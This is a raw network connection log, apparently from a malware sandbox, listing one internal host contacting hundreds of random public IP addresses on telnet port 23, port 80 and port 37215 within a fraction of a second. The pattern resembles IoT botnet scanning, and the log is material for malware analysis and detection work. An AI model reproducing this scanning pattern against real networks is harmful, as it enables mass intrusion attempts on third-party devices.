Dec 3, 2024 21:47:21.069854021 CET	40955	23	192.168.2.13	60.151.195.245
Dec 3, 2024 21:47:21.069860935 CET	40955	23	192.168.2.13	132.219.199.73
Dec 3, 2024 21:47:21.069865942 CET	40955	23	192.168.2.13	128.142.193.30
Dec 3, 2024 21:47:21.069878101 CET	40955	23	192.168.2.13	131.162.161.79
Dec 3, 2024 21:47:21.069880962 CET	40955	23	192.168.2.13	212.138.245.211
Dec 3, 2024 21:47:21.069895983 CET	40955	23	192.168.2.13	199.20.196.147
Dec 3, 2024 21:47:21.069900036 CET	40955	23	192.168.2.13	105.163.81.184
Dec 3, 2024 21:47:21.069917917 CET	40955	23	192.168.2.13	181.24.244.66
Dec 3, 2024 21:47:21.069921970 CET	40955	23	192.168.2.13	133.176.59.217
Dec 3, 2024 21:47:21.069933891 CET	40955	23	192.168.2.13	17.72.165.86
Dec 3, 2024 21:47:21.069935083 CET	40955	23	192.168.2.13	110.190.2.40
Dec 3, 2024 21:47:21.069948912 CET	40955	23	192.168.2.13	146.166.173.25
Dec 3, 2024 21:47:21.069948912 CET	40955	23	192.168.2.13	174.29.118.69
Dec 3, 2024 21:47:21.069963932 CET	40955	23	192.168.2.13	121.70.17.240
Dec 3, 2024 21:47:21.069981098 CET	40955	23	192.168.2.13	20.143.136.184
Dec 3, 2024 21:47:21.069979906 CET	40955	23	192.168.2.13	34.240.133.161
Dec 3, 2024 21:47:21.069979906 CET	40955	23	192.168.2.13	153.109.146.35
Dec 3, 2024 21:47:21.070008039 CET	40955	23	192.168.2.13	17.190.55.182
Dec 3, 2024 21:47:21.070018053 CET	40955	23	192.168.2.13	62.71.253.29
Dec 3, 2024 21:47:21.070024014 CET	40955	23	192.168.2.13	99.117.141.15
Dec 3, 2024 21:47:21.070029974 CET	40955	23	192.168.2.13	120.109.198.9
Dec 3, 2024 21:47:21.070038080 CET	40955	23	192.168.2.13	188.107.175.188
Dec 3, 2024 21:47:21.070048094 CET	40955	23	192.168.2.13	165.130.208.173
Dec 3, 2024 21:47:21.070049047 CET	40955	23	192.168.2.13	130.217.88.193
Dec 3, 2024 21:47:21.070059061 CET	40955	23	192.168.2.13	2.171.248.220
Dec 3, 2024 21:47:21.070063114 CET	40955	23	192.168.2.13	156.248.146.136
Dec 3, 2024 21:47:21.070077896 CET	40955	23	192.168.2.13	106.218.219.95
Dec 3, 2024 21:47:21.070080996 CET	40955	23	192.168.2.13	210.223.255.142
Dec 3, 2024 21:47:21.070091963 CET	40955	23	192.168.2.13	143.77.124.158
Dec 3, 2024 21:47:21.070102930 CET	40955	23	192.168.2.13	64.41.133.203
Dec 3, 2024 21:47:21.070118904 CET	40955	23	192.168.2.13	25.214.160.30
Dec 3, 2024 21:47:21.070121050 CET	40955	23	192.168.2.13	171.88.171.225
Dec 3, 2024 21:47:21.070131063 CET	40955	23	192.168.2.13	105.182.195.237
Dec 3, 2024 21:47:21.070142984 CET	40955	23	192.168.2.13	140.207.31.80
Dec 3, 2024 21:47:21.070151091 CET	40955	23	192.168.2.13	197.9.249.64
Dec 3, 2024 21:47:21.070161104 CET	40955	23	192.168.2.13	176.124.165.94
Dec 3, 2024 21:47:21.070163012 CET	40955	23	192.168.2.13	99.56.188.31
Dec 3, 2024 21:47:21.070172071 CET	40955	23	192.168.2.13	52.183.60.31
Dec 3, 2024 21:47:21.070175886 CET	40955	23	192.168.2.13	220.229.214.224
Dec 3, 2024 21:47:21.070194006 CET	40955	23	192.168.2.13	175.3.135.206
Dec 3, 2024 21:47:21.070194960 CET	40955	23	192.168.2.13	178.131.56.60
Dec 3, 2024 21:47:21.070195913 CET	40955	23	192.168.2.13	77.238.113.230
Dec 3, 2024 21:47:21.070204020 CET	40955	23	192.168.2.13	72.230.169.200
Dec 3, 2024 21:47:21.070211887 CET	40955	23	192.168.2.13	186.118.202.145
Dec 3, 2024 21:47:21.070214987 CET	40955	23	192.168.2.13	163.204.62.247
Dec 3, 2024 21:47:21.070225954 CET	40955	23	192.168.2.13	64.22.56.0
Dec 3, 2024 21:47:21.070240021 CET	40955	23	192.168.2.13	161.162.76.232
Dec 3, 2024 21:47:21.070249081 CET	40955	23	192.168.2.13	145.21.234.196
Dec 3, 2024 21:47:21.070255041 CET	40955	23	192.168.2.13	203.107.186.167
Dec 3, 2024 21:47:21.070265055 CET	40955	23	192.168.2.13	178.164.118.188
Dec 3, 2024 21:47:21.070266008 CET	40955	23	192.168.2.13	39.104.67.109
Dec 3, 2024 21:47:21.070276022 CET	40955	23	192.168.2.13	114.108.38.18
Dec 3, 2024 21:47:21.070276022 CET	40955	23	192.168.2.13	181.122.33.27
Dec 3, 2024 21:47:21.070295095 CET	40955	23	192.168.2.13	166.213.129.26
Dec 3, 2024 21:47:21.070297956 CET	40955	23	192.168.2.13	49.230.4.254
Dec 3, 2024 21:47:21.070310116 CET	40955	23	192.168.2.13	159.82.111.254
Dec 3, 2024 21:47:21.070310116 CET	40955	23	192.168.2.13	219.149.103.207
Dec 3, 2024 21:47:21.070326090 CET	40955	23	192.168.2.13	136.155.45.29
Dec 3, 2024 21:47:21.070329905 CET	40955	23	192.168.2.13	59.155.182.166
Dec 3, 2024 21:47:21.070343018 CET	40955	23	192.168.2.13	108.79.167.216
Dec 3, 2024 21:47:21.070344925 CET	40955	23	192.168.2.13	95.180.203.255
Dec 3, 2024 21:47:21.070360899 CET	40955	23	192.168.2.13	141.220.3.214
Dec 3, 2024 21:47:21.070360899 CET	40955	23	192.168.2.13	222.63.142.236
Dec 3, 2024 21:47:21.070375919 CET	40955	23	192.168.2.13	175.120.59.169
Dec 3, 2024 21:47:21.070388079 CET	40955	23	192.168.2.13	143.0.55.7
Dec 3, 2024 21:47:21.070396900 CET	40955	23	192.168.2.13	14.72.82.181
Dec 3, 2024 21:47:21.070401907 CET	40955	23	192.168.2.13	70.50.45.69
Dec 3, 2024 21:47:21.070405006 CET	40955	23	192.168.2.13	188.30.225.161
Dec 3, 2024 21:47:21.070420980 CET	40955	23	192.168.2.13	125.131.111.101
Dec 3, 2024 21:47:21.070426941 CET	40955	23	192.168.2.13	5.57.134.178
Dec 3, 2024 21:47:21.070436001 CET	40955	23	192.168.2.13	152.166.146.212
Dec 3, 2024 21:47:21.070442915 CET	40955	23	192.168.2.13	61.131.140.110
Dec 3, 2024 21:47:21.070451975 CET	40955	23	192.168.2.13	13.131.94.62
Dec 3, 2024 21:47:21.070455074 CET	40955	23	192.168.2.13	120.224.136.22
Dec 3, 2024 21:47:21.070470095 CET	40955	23	192.168.2.13	8.149.78.129
Dec 3, 2024 21:47:21.070468903 CET	40955	23	192.168.2.13	223.214.190.239
Dec 3, 2024 21:47:21.070488930 CET	40955	23	192.168.2.13	87.33.185.64
Dec 3, 2024 21:47:21.070493937 CET	40955	23	192.168.2.13	106.16.3.196
Dec 3, 2024 21:47:21.070496082 CET	40955	23	192.168.2.13	202.81.87.168
Dec 3, 2024 21:47:21.070498943 CET	40955	23	192.168.2.13	186.6.60.56
Dec 3, 2024 21:47:21.070506096 CET	40955	23	192.168.2.13	52.116.41.96
Dec 3, 2024 21:47:21.070519924 CET	40955	23	192.168.2.13	52.61.170.90
Dec 3, 2024 21:47:21.070543051 CET	40955	23	192.168.2.13	63.32.153.22
Dec 3, 2024 21:47:21.070543051 CET	40955	23	192.168.2.13	125.84.103.64
Dec 3, 2024 21:47:21.070543051 CET	40955	23	192.168.2.13	152.83.47.113
Dec 3, 2024 21:47:21.070554972 CET	40955	23	192.168.2.13	146.175.128.204
Dec 3, 2024 21:47:21.070557117 CET	40955	23	192.168.2.13	205.22.38.188
Dec 3, 2024 21:47:21.070559025 CET	40955	23	192.168.2.13	181.216.39.210
Dec 3, 2024 21:47:21.070564985 CET	40955	23	192.168.2.13	125.107.189.83
Dec 3, 2024 21:47:21.070579052 CET	40955	23	192.168.2.13	172.57.237.203
Dec 3, 2024 21:47:21.070586920 CET	40955	23	192.168.2.13	145.160.56.172
Dec 3, 2024 21:47:21.070595026 CET	40955	23	192.168.2.13	106.25.125.199
Dec 3, 2024 21:47:21.070597887 CET	40955	23	192.168.2.13	160.143.83.140
Dec 3, 2024 21:47:21.070612907 CET	40955	23	192.168.2.13	64.226.32.236
Dec 3, 2024 21:47:21.070619106 CET	40955	23	192.168.2.13	82.45.167.117
Dec 3, 2024 21:47:21.070633888 CET	40955	23	192.168.2.13	195.151.135.205
Dec 3, 2024 21:47:21.070636034 CET	40955	23	192.168.2.13	51.91.85.247
Dec 3, 2024 21:47:21.070650101 CET	40955	23	192.168.2.13	183.58.217.252
Dec 3, 2024 21:47:21.070657015 CET	40955	23	192.168.2.13	221.56.38.38
Dec 3, 2024 21:47:21.070669889 CET	40955	23	192.168.2.13	125.49.99.53
Dec 3, 2024 21:47:21.070671082 CET	40955	23	192.168.2.13	149.172.122.129
Dec 3, 2024 21:47:21.070691109 CET	40955	23	192.168.2.13	123.128.203.120
Dec 3, 2024 21:47:21.070697069 CET	40955	23	192.168.2.13	37.188.132.214
Dec 3, 2024 21:47:21.070705891 CET	40955	23	192.168.2.13	44.183.148.219
Dec 3, 2024 21:47:21.070705891 CET	40955	23	192.168.2.13	95.255.140.223
Dec 3, 2024 21:47:21.070722103 CET	40955	23	192.168.2.13	210.139.169.58
Dec 3, 2024 21:47:21.070724010 CET	40955	23	192.168.2.13	172.133.94.159
Dec 3, 2024 21:47:21.070724010 CET	40955	23	192.168.2.13	109.201.45.219
Dec 3, 2024 21:47:21.070728064 CET	40955	23	192.168.2.13	108.254.69.241
Dec 3, 2024 21:47:21.070745945 CET	40955	23	192.168.2.13	77.122.17.94
Dec 3, 2024 21:47:21.070748091 CET	40955	23	192.168.2.13	88.180.211.121
Dec 3, 2024 21:47:21.070756912 CET	40955	23	192.168.2.13	145.242.147.117
Dec 3, 2024 21:47:21.070756912 CET	40955	23	192.168.2.13	27.24.214.212
Dec 3, 2024 21:47:21.070768118 CET	40955	23	192.168.2.13	32.146.141.20
Dec 3, 2024 21:47:21.070772886 CET	40955	23	192.168.2.13	81.204.144.21
Dec 3, 2024 21:47:21.070787907 CET	40955	23	192.168.2.13	145.229.144.89
Dec 3, 2024 21:47:21.070787907 CET	40955	23	192.168.2.13	178.188.215.171
Dec 3, 2024 21:47:21.070801973 CET	40955	23	192.168.2.13	149.118.187.247
Dec 3, 2024 21:47:21.070804119 CET	40955	23	192.168.2.13	53.39.204.105
Dec 3, 2024 21:47:21.070812941 CET	40955	23	192.168.2.13	155.19.192.161
Dec 3, 2024 21:47:21.070820093 CET	40955	23	192.168.2.13	61.178.89.151
Dec 3, 2024 21:47:21.070831060 CET	40955	23	192.168.2.13	207.252.79.165
Dec 3, 2024 21:47:21.070838928 CET	40955	23	192.168.2.13	160.69.27.70
Dec 3, 2024 21:47:21.070849895 CET	40955	23	192.168.2.13	46.179.21.11
Dec 3, 2024 21:47:21.070857048 CET	40955	23	192.168.2.13	182.133.198.197
Dec 3, 2024 21:47:21.070859909 CET	40955	23	192.168.2.13	106.94.77.134
Dec 3, 2024 21:47:21.070883036 CET	40955	23	192.168.2.13	204.185.163.163
Dec 3, 2024 21:47:21.070883989 CET	40955	23	192.168.2.13	77.13.238.73
Dec 3, 2024 21:47:21.070897102 CET	40955	23	192.168.2.13	170.209.52.93
Dec 3, 2024 21:47:21.070899010 CET	40955	23	192.168.2.13	87.69.139.39
Dec 3, 2024 21:47:21.070915937 CET	40955	23	192.168.2.13	94.54.250.72
Dec 3, 2024 21:47:21.070916891 CET	40955	23	192.168.2.13	201.93.73.107
Dec 3, 2024 21:47:21.070928097 CET	40955	23	192.168.2.13	37.123.218.244
Dec 3, 2024 21:47:21.070946932 CET	40955	23	192.168.2.13	218.219.218.44
Dec 3, 2024 21:47:21.070956945 CET	40955	23	192.168.2.13	84.245.184.25
Dec 3, 2024 21:47:21.070956945 CET	40955	23	192.168.2.13	139.90.59.229
Dec 3, 2024 21:47:21.070956945 CET	40955	23	192.168.2.13	101.187.135.196
Dec 3, 2024 21:47:21.070957899 CET	40955	23	192.168.2.13	160.102.18.206
Dec 3, 2024 21:47:21.070960999 CET	40955	23	192.168.2.13	82.132.64.114
Dec 3, 2024 21:47:21.070974112 CET	40955	23	192.168.2.13	41.174.181.202
Dec 3, 2024 21:47:21.070980072 CET	40955	23	192.168.2.13	31.101.51.29
Dec 3, 2024 21:47:21.070998907 CET	40955	23	192.168.2.13	146.48.95.146
Dec 3, 2024 21:47:21.071003914 CET	40955	23	192.168.2.13	171.156.71.71
Dec 3, 2024 21:47:21.071007013 CET	40955	23	192.168.2.13	121.61.162.40
Dec 3, 2024 21:47:21.071022034 CET	40955	23	192.168.2.13	43.251.53.73
Dec 3, 2024 21:47:21.071022034 CET	40955	23	192.168.2.13	20.127.208.237
Dec 3, 2024 21:47:21.071037054 CET	40955	23	192.168.2.13	171.44.67.81
Dec 3, 2024 21:47:21.071043015 CET	40955	23	192.168.2.13	223.156.138.229
Dec 3, 2024 21:47:21.071048975 CET	40955	23	192.168.2.13	36.52.105.116
Dec 3, 2024 21:47:21.071054935 CET	40955	23	192.168.2.13	148.156.72.42
Dec 3, 2024 21:47:21.071072102 CET	40955	23	192.168.2.13	75.224.240.122
Dec 3, 2024 21:47:21.071080923 CET	40955	23	192.168.2.13	67.142.34.32
Dec 3, 2024 21:47:21.071085930 CET	40955	23	192.168.2.13	221.100.66.32
Dec 3, 2024 21:47:21.071096897 CET	40955	23	192.168.2.13	82.93.49.90
Dec 3, 2024 21:47:21.071100950 CET	40955	23	192.168.2.13	107.88.29.207
Dec 3, 2024 21:47:21.071116924 CET	40955	23	192.168.2.13	190.239.66.203
Dec 3, 2024 21:47:21.071118116 CET	40955	23	192.168.2.13	132.167.106.67
Dec 3, 2024 21:47:21.071136951 CET	40955	23	192.168.2.13	34.109.186.69
Dec 3, 2024 21:47:21.071140051 CET	40955	23	192.168.2.13	81.196.81.149
Dec 3, 2024 21:47:21.071140051 CET	40955	23	192.168.2.13	110.97.48.217
Dec 3, 2024 21:47:21.071141958 CET	40955	23	192.168.2.13	139.223.143.236
Dec 3, 2024 21:47:21.071151972 CET	40955	23	192.168.2.13	152.226.84.201
Dec 3, 2024 21:47:21.071161985 CET	40955	23	192.168.2.13	84.39.92.147
Dec 3, 2024 21:47:21.071167946 CET	40955	23	192.168.2.13	27.24.143.40
Dec 3, 2024 21:47:21.071182013 CET	40955	23	192.168.2.13	135.20.39.123
Dec 3, 2024 21:47:21.071185112 CET	40955	23	192.168.2.13	92.122.71.102
Dec 3, 2024 21:47:21.071197033 CET	40955	23	192.168.2.13	142.116.178.66
Dec 3, 2024 21:47:21.071202040 CET	40955	23	192.168.2.13	129.136.113.89
Dec 3, 2024 21:47:21.071217060 CET	40955	23	192.168.2.13	51.136.106.239
Dec 3, 2024 21:47:21.071218967 CET	40955	23	192.168.2.13	174.225.152.68
Dec 3, 2024 21:47:21.071232080 CET	40955	23	192.168.2.13	78.160.181.27
Dec 3, 2024 21:47:21.071233034 CET	40955	23	192.168.2.13	94.124.77.59
Dec 3, 2024 21:47:21.071237087 CET	40955	23	192.168.2.13	156.45.66.137
Dec 3, 2024 21:47:21.071252108 CET	40955	23	192.168.2.13	118.138.102.221
Dec 3, 2024 21:47:21.071259022 CET	40955	23	192.168.2.13	44.211.109.194
Dec 3, 2024 21:47:21.071271896 CET	40955	23	192.168.2.13	14.34.120.237
Dec 3, 2024 21:47:21.071276903 CET	40955	23	192.168.2.13	85.97.252.228
Dec 3, 2024 21:47:21.071279049 CET	40955	23	192.168.2.13	87.136.1.117
Dec 3, 2024 21:47:21.071283102 CET	40955	23	192.168.2.13	134.239.129.22
Dec 3, 2024 21:47:21.071302891 CET	40955	23	192.168.2.13	208.130.158.43
Dec 3, 2024 21:47:21.071304083 CET	40955	23	192.168.2.13	205.112.255.143
Dec 3, 2024 21:47:21.071305990 CET	40955	23	192.168.2.13	213.85.197.60
Dec 3, 2024 21:47:21.071307898 CET	40955	23	192.168.2.13	121.8.122.175
Dec 3, 2024 21:47:21.071327925 CET	40955	23	192.168.2.13	207.232.122.172
Dec 3, 2024 21:47:21.071330070 CET	40955	23	192.168.2.13	169.219.171.62
Dec 3, 2024 21:47:21.071335077 CET	40955	23	192.168.2.13	27.235.151.82
Dec 3, 2024 21:47:21.071336985 CET	40955	23	192.168.2.13	113.223.169.1
Dec 3, 2024 21:47:21.071356058 CET	40955	23	192.168.2.13	13.194.120.55
Dec 3, 2024 21:47:21.071357012 CET	40955	23	192.168.2.13	174.149.119.223
Dec 3, 2024 21:47:21.071373940 CET	40955	23	192.168.2.13	137.173.64.9
Dec 3, 2024 21:47:21.071377993 CET	40955	23	192.168.2.13	109.253.44.60
Dec 3, 2024 21:47:21.071386099 CET	40955	23	192.168.2.13	63.82.175.150
Dec 3, 2024 21:47:21.071393967 CET	40955	23	192.168.2.13	65.14.248.79
Dec 3, 2024 21:47:21.071449995 CET	40955	23	192.168.2.13	158.72.255.57
Dec 3, 2024 21:47:21.071459055 CET	40955	23	192.168.2.13	14.50.111.149
Dec 3, 2024 21:47:21.071465969 CET	40955	23	192.168.2.13	32.87.83.161
Dec 3, 2024 21:47:21.071477890 CET	40955	23	192.168.2.13	12.252.141.2
Dec 3, 2024 21:47:21.071482897 CET	40955	23	192.168.2.13	98.239.141.1
Dec 3, 2024 21:47:21.071496010 CET	40955	23	192.168.2.13	74.226.93.198
Dec 3, 2024 21:47:21.071497917 CET	40955	23	192.168.2.13	41.163.235.112
Dec 3, 2024 21:47:21.071502924 CET	40955	23	192.168.2.13	25.225.166.172
Dec 3, 2024 21:47:21.071511030 CET	40955	23	192.168.2.13	94.185.116.2
Dec 3, 2024 21:47:21.071515083 CET	40955	23	192.168.2.13	95.38.148.110
Dec 3, 2024 21:47:21.071520090 CET	40955	23	192.168.2.13	168.19.158.163
Dec 3, 2024 21:47:21.071531057 CET	40955	23	192.168.2.13	156.155.93.150
Dec 3, 2024 21:47:21.071535110 CET	40955	23	192.168.2.13	196.111.38.239
Dec 3, 2024 21:47:21.071540117 CET	40955	23	192.168.2.13	141.148.74.144
Dec 3, 2024 21:47:21.071554899 CET	40955	23	192.168.2.13	161.243.44.45
Dec 3, 2024 21:47:21.071556091 CET	40955	23	192.168.2.13	174.155.68.221
Dec 3, 2024 21:47:21.071574926 CET	40955	23	192.168.2.13	13.41.50.236
Dec 3, 2024 21:47:21.071574926 CET	40955	23	192.168.2.13	169.62.236.255
Dec 3, 2024 21:47:21.071597099 CET	40955	23	192.168.2.13	211.222.241.221
Dec 3, 2024 21:47:21.071608067 CET	40955	23	192.168.2.13	185.131.134.86
Dec 3, 2024 21:47:21.071616888 CET	40955	23	192.168.2.13	140.101.211.23
Dec 3, 2024 21:47:21.071624994 CET	40955	23	192.168.2.13	171.144.101.194
Dec 3, 2024 21:47:21.071640968 CET	40955	23	192.168.2.13	150.197.16.221
Dec 3, 2024 21:47:21.071640968 CET	40955	23	192.168.2.13	70.182.224.57
Dec 3, 2024 21:47:21.071650982 CET	40955	23	192.168.2.13	135.143.48.154
Dec 3, 2024 21:47:21.071660042 CET	40955	23	192.168.2.13	51.181.164.193
Dec 3, 2024 21:47:21.071692944 CET	40955	23	192.168.2.13	9.54.232.130
Dec 3, 2024 21:47:21.071707964 CET	40955	23	192.168.2.13	161.21.151.200
Dec 3, 2024 21:47:21.071711063 CET	40955	23	192.168.2.13	150.219.9.65
Dec 3, 2024 21:47:21.071712017 CET	40955	23	192.168.2.13	14.168.97.236
Dec 3, 2024 21:47:21.071722031 CET	40955	23	192.168.2.13	136.158.81.246
Dec 3, 2024 21:47:21.071732998 CET	40955	23	192.168.2.13	76.145.155.215
Dec 3, 2024 21:47:21.071739912 CET	40955	23	192.168.2.13	91.144.149.13
Dec 3, 2024 21:47:21.071753979 CET	40955	23	192.168.2.13	161.31.14.203
Dec 3, 2024 21:47:21.071763039 CET	40955	23	192.168.2.13	116.89.113.0
Dec 3, 2024 21:47:21.071770906 CET	40955	23	192.168.2.13	202.177.130.27
Dec 3, 2024 21:47:21.071770906 CET	40955	23	192.168.2.13	180.171.13.165
Dec 3, 2024 21:47:21.071969032 CET	51350	80	192.168.2.13	200.178.165.62
Dec 3, 2024 21:47:21.072745085 CET	33000	80	192.168.2.13	62.158.162.7
Dec 3, 2024 21:47:21.072916031 CET	48918	23	192.168.2.13	154.145.46.122
Dec 3, 2024 21:47:21.073590994 CET	46144	80	192.168.2.13	179.117.25.20
Dec 3, 2024 21:47:21.074439049 CET	41048	80	192.168.2.13	196.219.121.6
Dec 3, 2024 21:47:21.074606895 CET	37936	23	192.168.2.13	132.105.120.87
Dec 3, 2024 21:47:21.075694084 CET	60340	80	192.168.2.13	170.41.22.77
Dec 3, 2024 21:47:21.076302052 CET	42822	80	192.168.2.13	196.78.141.7
Dec 3, 2024 21:47:21.076891899 CET	56326	80	192.168.2.13	88.81.241.62
Dec 3, 2024 21:47:21.077507019 CET	51682	80	192.168.2.13	159.11.151.174
Dec 3, 2024 21:47:21.078110933 CET	44196	80	192.168.2.13	12.237.96.134
Dec 3, 2024 21:47:21.078721046 CET	35366	80	192.168.2.13	160.221.57.203
Dec 3, 2024 21:47:21.079297066 CET	51320	80	192.168.2.13	23.174.237.99
Dec 3, 2024 21:47:21.079902887 CET	41282	80	192.168.2.13	153.226.117.52
Dec 3, 2024 21:47:21.080480099 CET	52808	80	192.168.2.13	95.90.150.78
Dec 3, 2024 21:47:21.081058979 CET	47306	80	192.168.2.13	38.77.138.239
Dec 3, 2024 21:47:21.081648111 CET	47762	80	192.168.2.13	19.56.239.20
Dec 3, 2024 21:47:21.082227945 CET	51890	80	192.168.2.13	59.159.83.178
Dec 3, 2024 21:47:21.082813978 CET	44862	80	192.168.2.13	138.235.115.9
Dec 3, 2024 21:47:21.083415031 CET	39072	80	192.168.2.13	104.7.94.67
Dec 3, 2024 21:47:21.083997011 CET	38992	80	192.168.2.13	122.251.247.179
Dec 3, 2024 21:47:21.084604025 CET	46424	80	192.168.2.13	103.205.158.231
Dec 3, 2024 21:47:21.085175037 CET	38142	80	192.168.2.13	156.90.10.206
Dec 3, 2024 21:47:21.085777044 CET	51586	80	192.168.2.13	44.50.132.189
Dec 3, 2024 21:47:21.086334944 CET	49114	80	192.168.2.13	69.120.229.5
Dec 3, 2024 21:47:21.086927891 CET	50066	80	192.168.2.13	103.90.32.150
Dec 3, 2024 21:47:21.087502003 CET	56588	80	192.168.2.13	104.62.170.28
Dec 3, 2024 21:47:21.087879896 CET	34043	37215	192.168.2.13	41.96.173.95
Dec 3, 2024 21:47:21.087879896 CET	34043	37215	192.168.2.13	197.209.251.152
Dec 3, 2024 21:47:21.087893009 CET	34043	37215	192.168.2.13	156.76.17.35
Dec 3, 2024 21:47:21.087922096 CET	34043	37215	192.168.2.13	156.9.234.111
Dec 3, 2024 21:47:21.087924004 CET	34043	37215	192.168.2.13	156.113.86.95
Dec 3, 2024 21:47:21.087929010 CET	34043	37215	192.168.2.13	156.189.119.159
Dec 3, 2024 21:47:21.087939024 CET	34043	37215	192.168.2.13	197.133.219.208
Dec 3, 2024 21:47:21.087940931 CET	34043	37215	192.168.2.13	156.120.96.81
Dec 3, 2024 21:47:21.087940931 CET	34043	37215	192.168.2.13	156.193.172.34
Dec 3, 2024 21:47:21.087945938 CET	34043	37215	192.168.2.13	197.47.195.174
Dec 3, 2024 21:47:21.087945938 CET	34043	37215	192.168.2.13	41.195.162.122
Dec 3, 2024 21:47:21.087955952 CET	34043	37215	192.168.2.13	156.153.1.13
Dec 3, 2024 21:47:21.087966919 CET	34043	37215	192.168.2.13	156.44.86.253
Dec 3, 2024 21:47:21.087966919 CET	34043	37215	192.168.2.13	41.44.34.145
Dec 3, 2024 21:47:21.087968111 CET	34043	37215	192.168.2.13	156.188.213.59
Dec 3, 2024 21:47:21.087979078 CET	34043	37215	192.168.2.13	197.31.148.92
Dec 3, 2024 21:47:21.088001966 CET	34043	37215	192.168.2.13	197.168.192.165
Dec 3, 2024 21:47:21.088006973 CET	34043	37215	192.168.2.13	156.157.65.112
Dec 3, 2024 21:47:21.088006973 CET	34043	37215	192.168.2.13	156.43.163.104
Dec 3, 2024 21:47:21.088013887 CET	34043	37215	192.168.2.13	156.142.19.205
Dec 3, 2024 21:47:21.088026047 CET	34043	37215	192.168.2.13	41.96.163.41
Dec 3, 2024 21:47:21.088027954 CET	34043	37215	192.168.2.13	197.215.254.161
Dec 3, 2024 21:47:21.088047028 CET	34043	37215	192.168.2.13	156.144.100.224
Dec 3, 2024 21:47:21.088049889 CET	34043	37215	192.168.2.13	156.88.126.70
Dec 3, 2024 21:47:21.088052034 CET	34043	37215	192.168.2.13	41.194.30.105
Dec 3, 2024 21:47:21.088053942 CET	34043	37215	192.168.2.13	41.82.93.156
Dec 3, 2024 21:47:21.088054895 CET	34043	37215	192.168.2.13	41.136.111.145
Dec 3, 2024 21:47:21.088053942 CET	34043	37215	192.168.2.13	197.79.123.153
Dec 3, 2024 21:47:21.088056087 CET	34043	37215	192.168.2.13	156.52.240.182
Dec 3, 2024 21:47:21.088053942 CET	34043	37215	192.168.2.13	156.133.66.22
Dec 3, 2024 21:47:21.088079929 CET	34043	37215	192.168.2.13	41.185.109.41
Dec 3, 2024 21:47:21.088088036 CET	60298	80	192.168.2.13	164.75.9.148
Dec 3, 2024 21:47:21.088109970 CET	34043	37215	192.168.2.13	41.171.227.162
Dec 3, 2024 21:47:21.088109970 CET	34043	37215	192.168.2.13	197.178.82.15
Dec 3, 2024 21:47:21.088124037 CET	34043	37215	192.168.2.13	41.33.14.119
Dec 3, 2024 21:47:21.088126898 CET	34043	37215	192.168.2.13	156.46.13.12
Dec 3, 2024 21:47:21.088141918 CET	34043	37215	192.168.2.13	156.168.202.132
Dec 3, 2024 21:47:21.088144064 CET	34043	37215	192.168.2.13	197.166.175.225
Dec 3, 2024 21:47:21.088169098 CET	34043	37215	192.168.2.13	197.34.231.219
Dec 3, 2024 21:47:21.088169098 CET	34043	37215	192.168.2.13	41.110.79.186
Dec 3, 2024 21:47:21.088172913 CET	34043	37215	192.168.2.13	156.204.3.146
Dec 3, 2024 21:47:21.088186979 CET	34043	37215	192.168.2.13	156.178.10.42
Dec 3, 2024 21:47:21.088191986 CET	34043	37215	192.168.2.13	41.106.100.239
Dec 3, 2024 21:47:21.088196039 CET	34043	37215	192.168.2.13	197.254.226.73
Dec 3, 2024 21:47:21.088207006 CET	34043	37215	192.168.2.13	41.132.112.4
Dec 3, 2024 21:47:21.088212967 CET	34043	37215	192.168.2.13	197.96.143.65
Dec 3, 2024 21:47:21.088219881 CET	34043	37215	192.168.2.13	41.111.25.126
Dec 3, 2024 21:47:21.088222027 CET	34043	37215	192.168.2.13	156.105.116.123
Dec 3, 2024 21:47:21.088248968 CET	34043	37215	192.168.2.13	41.136.56.96
Dec 3, 2024 21:47:21.088254929 CET	34043	37215	192.168.2.13	197.154.199.208
Dec 3, 2024 21:47:21.088257074 CET	34043	37215	192.168.2.13	197.254.114.176
Dec 3, 2024 21:47:21.088268995 CET	34043	37215	192.168.2.13	156.144.79.93
Dec 3, 2024 21:47:21.088272095 CET	34043	37215	192.168.2.13	156.253.192.41
Dec 3, 2024 21:47:21.088272095 CET	34043	37215	192.168.2.13	41.47.86.20
Dec 3, 2024 21:47:21.088289022 CET	34043	37215	192.168.2.13	156.173.150.63
Dec 3, 2024 21:47:21.088294029 CET	34043	37215	192.168.2.13	41.195.34.90
Dec 3, 2024 21:47:21.088295937 CET	34043	37215	192.168.2.13	156.194.194.70
Dec 3, 2024 21:47:21.088315964 CET	34043	37215	192.168.2.13	41.84.194.136
Dec 3, 2024 21:47:21.088324070 CET	34043	37215	192.168.2.13	41.168.182.224
Dec 3, 2024 21:47:21.088340998 CET	34043	37215	192.168.2.13	156.9.203.222
Dec 3, 2024 21:47:21.088344097 CET	34043	37215	192.168.2.13	41.25.157.255
Dec 3, 2024 21:47:21.088344097 CET	34043	37215	192.168.2.13	156.171.213.190
Dec 3, 2024 21:47:21.088350058 CET	34043	37215	192.168.2.13	41.43.78.68
Dec 3, 2024 21:47:21.088350058 CET	34043	37215	192.168.2.13	41.233.19.56
Dec 3, 2024 21:47:21.088356972 CET	34043	37215	192.168.2.13	41.253.72.146
Dec 3, 2024 21:47:21.088363886 CET	34043	37215	192.168.2.13	156.172.130.0
Dec 3, 2024 21:47:21.088367939 CET	34043	37215	192.168.2.13	41.163.163.30
Dec 3, 2024 21:47:21.088371038 CET	34043	37215	192.168.2.13	41.168.93.136
Dec 3, 2024 21:47:21.088385105 CET	34043	37215	192.168.2.13	41.133.115.248
Dec 3, 2024 21:47:21.088386059 CET	34043	37215	192.168.2.13	197.35.195.98
Dec 3, 2024 21:47:21.088392019 CET	34043	37215	192.168.2.13	156.77.198.138
Dec 3, 2024 21:47:21.088433981 CET	34043	37215	192.168.2.13	197.198.180.37
Dec 3, 2024 21:47:21.088434935 CET	34043	37215	192.168.2.13	41.238.11.165
Dec 3, 2024 21:47:21.088442087 CET	34043	37215	192.168.2.13	197.46.136.194
Dec 3, 2024 21:47:21.088449955 CET	34043	37215	192.168.2.13	41.3.68.226
Dec 3, 2024 21:47:21.088460922 CET	34043	37215	192.168.2.13	156.7.249.231
Dec 3, 2024 21:47:21.088460922 CET	34043	37215	192.168.2.13	197.228.150.68
Dec 3, 2024 21:47:21.088474989 CET	34043	37215	192.168.2.13	156.142.192.202
Dec 3, 2024 21:47:21.088475943 CET	34043	37215	192.168.2.13	41.33.208.242
Dec 3, 2024 21:47:21.088500977 CET	34043	37215	192.168.2.13	197.96.212.183
Dec 3, 2024 21:47:21.088500977 CET	34043	37215	192.168.2.13	41.185.17.83
Dec 3, 2024 21:47:21.088504076 CET	34043	37215	192.168.2.13	156.70.20.18
